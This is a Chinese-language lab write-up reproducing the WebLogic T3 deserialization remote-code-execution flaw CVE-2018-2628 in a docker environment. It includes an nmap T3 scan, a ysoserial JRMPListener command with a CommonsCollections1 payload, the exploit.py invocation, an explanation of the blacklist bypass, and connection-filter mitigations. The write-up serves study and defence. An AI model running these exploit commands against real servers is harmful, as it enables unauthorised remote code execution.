Weblogic Server WLS Core Components 反序列化命令执行漏洞 (CVE-2018-2628)

漏洞详情

CVE-2018-2628漏洞是2018年Weblogic爆出的**基于T3(丰富套接字)协议的反系列化高危漏洞**，且在打上官方补丁Patch Set Update 180417补丁后仍能检测到只是利用方法有了一些改变漏洞编号改为了CVE-2018-3245，其基本原理其实都是利用了T3协议的缺陷实现了Java虚拟机的RMI：远程方法调用(Remote Method Invocation)，能够在本地虚拟机上调用远端代码。

影响版本

Weblogic 10.3.6.0 Weblogic 12.1.3.0 Weblogic 12.2.1.2 Weblogic 12.2.1.3

环境搭建

```
cd weblogic/CVE-2018-2628
docker-compose up -d
```

漏洞复现

首先我们用nmap检查一下漏洞所需端口情况

这里我们针对7001，和7002两个默认的控制端口进行扫描，扫描的时候加上weblogic-t3-info脚本，如果目标服务器开启了T3协议就会在扫描结果中显示。

```
nmap -n -v -p7001,7002 192.168.16.128 --script=weblogic-t3-info
```

```
Nmap scan report for 192.168.16.128
Host is up (0.00027s latency).

PORT     STATE  SERVICE
7001/tcp open   afs3-callback
| weblogic-t3-info: T3 protocol in use (WebLogic version: 10.3.6.0)
7002/tcp closed afs3-prserver
MAC Address: 00:0C:29:73:5A:DE (VMware)

NSE: Script Post-scanning.
Initiating NSE at 16:37
Completed NSE at 16:37, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.57 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (112B)

┌──(root💀kali)-[/home/kali]
└─#
```

我们启动一个JRMP Server，可以利用 ysoserial

下载后我们在本地启动它

```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener
[listen port] CommonsCollections1 [command]
```

- [listen port]：本地监听的端口，待会要用到
- [command]：需要执行的命令，这里我们准备在目标的/tmp目录下创建一个shell文件

最后构建的命令

```
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener
4444 CommonsCollections1 "touch /tmp/shell"
```

然后，我们再使用exploit.py脚本，向目标Weblogic（`http://your-ip:7001`）发送数据包：

```
python2 exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener
ip] [JRMPListener port] [JRMPClient]
```

- `[victim ip]` 和 `[victim port]` 是目标weblogic的IP和端口
- `[path to ysoserial]` 是本地ysoserial的路径
- `[JRMPListener ip]` 和 `[JRMPListener port]` 第一步中启动JRMP Server的IP地址和端口
- `[JRMPClient]` 是执行JRMPClient的类，可选的值是 `JRMPClient` 或 `JRMPClient2`

最后我们的命令构建

```
python2 .\exploit.py 192.168.16.128 7001 .\ysoserial-0.0.6-SNAPSHOT-BETA-all.jar
192.168.16.1 4444 JRMPClient
```

命令完成之后我们就可以进入docker容器中，验证目标的/tmp目录下是否创建一个shell文件

```
docker-compose exec weblogic bash
```

```
root@ubuntu:/home/ubuntu/Desktop/vulhub/weblogic/CVE-2018-2628# docker-compose exec weblogic bash
root@c175c754767b:~/Oracle/Middleware# cd /tmp/
root@c175c754767b:/tmp# ls
bea1061393648233859820.tmp  cookie.txt  hsperfdata_root  packages  shell  wlstTemproot
root@c175c754767b:/tmp#
```

漏洞原理

目前这个漏洞是结合了历史问题实现的远程命令执行，具体概括有三点

1. 反射机制

   JAVA反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性；这种动态获取的信息以及动态调用对象的方法的功能称为java语言的反射机制。

2. RMI

RMI是Remote Method Invocation的简称，是J2SE的一部分，能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象，可以从另一个Java虚拟机上（甚至跨过网络）调用它的方法，可以像调用本地Java对象的方法一样调用远程对象的方法，使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

RMI传输过程都使用序列化和反序列化，如果RMI服务端端口对外开发，并且服务端使用了像Apache Commons Collections这类库，那么会导致远程命令执行。

RMI依赖于Java远程消息交换协议JRMP（Java Remote Messaging Protocol），该协议为java定制，要求服务端与客户端都为java编写。

3. 绕过黑名单

   Weblogic 中InboundMsgAbbrev 的resolveProxyClass处理rmi接口类型，因为只判断了java.rmi.registry.Registry，找一个其他的rmi接口绕过，比如java.rmi.activation.Activator为RMI 对象激活提供支持。

这里参考：CVE-2018-2628 WebLogic反序列化漏洞分析

经测试，必须先发送T3协议头数据包，再发送JAVA序列化数据包，才能使weblogic进行JAVA反序列化，进而触发漏洞。如果只发送JAVA序列化数据包，不先发送T3协议头数据包，无法触发漏洞

防御与修复

- 官方补丁
- 手工修复

  若要利用该漏洞, 攻击者首先需要与WebLogic Server提供的T3服务端口建立SOCKET连接, 运维人员可通过控制T3协议的访问权限来临时阻断漏洞利用。

  WebLogic Server 提供了名叫“weblogic.security.net.ConnectionFilterImpl”的默认连接筛选器。该连接筛选器可控制所有传入连接，通过修改此连问控制。接筛选器规则，可对T3及T3S协议进行防御。